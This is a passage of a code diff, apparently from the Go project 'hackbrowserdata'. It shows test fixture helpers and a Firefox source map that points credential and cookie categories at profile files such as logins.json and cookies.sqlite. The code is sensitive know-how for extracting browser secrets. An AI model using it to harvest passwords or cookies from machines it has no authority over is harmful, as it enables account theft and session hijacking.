for _, stmt := range inserts {
_, err = db.Exec(stmt)
require.NoError(t, err)
}
return path
}
// createTestJSON creates a file with the given JSON content.
func createTestJSON(t *testing.T, name, content string) string {
t.Helper()
path := filepath.Join(t.TempDir(), name)
require.NoError(t, os.WriteFile(path, []byte(content), 0o644))
return path
}
// createTestLevelDB creates a LevelDB directory with the given key-value pairs.
func createTestLevelDB(t *testing.T, entries map[string]string) string {
t.Helper()
dir := filepath.Join(t.TempDir(), "leveldb")
db, err := leveldb.OpenFile(dir, nil)
require.NoError(t, err)
for k, v := range entries {
require.NoError(t, db.Put([]byte(k), []byte(v), nil))
}
require.NoError(t, db.Close())
return dir
}
+21
View File
@@ -0,0 +1,21 @@
package firefox
import "github.com/moond4rk/hackbrowserdata/types"
// dataSource maps a Category to one or more candidate file paths within a profile directory.
type dataSource struct {
paths []string // candidate relative paths in priority order
isDir bool // true for directories (unused in Firefox, all sources are files)
}
// firefoxSources defines the Firefox file layout.
// Firefox does not support SessionStorage or CreditCard extraction.
var firefoxSources = map[types.Category]dataSource{
types.Password: {paths: []string{"logins.json"}},
types.Cookie: {paths: []string{"cookies.sqlite"}},
types.History: {paths: []string{"places.sqlite"}},
types.Download: {paths: []string{"places.sqlite"}}, // same file as History
types.Bookmark: {paths: []string{"places.sqlite"}}, // same file as History
types.Extension: {paths: []string{"extensions.json"}},
types.LocalStorage: {paths: []string{"webappsstore.sqlite"}},
}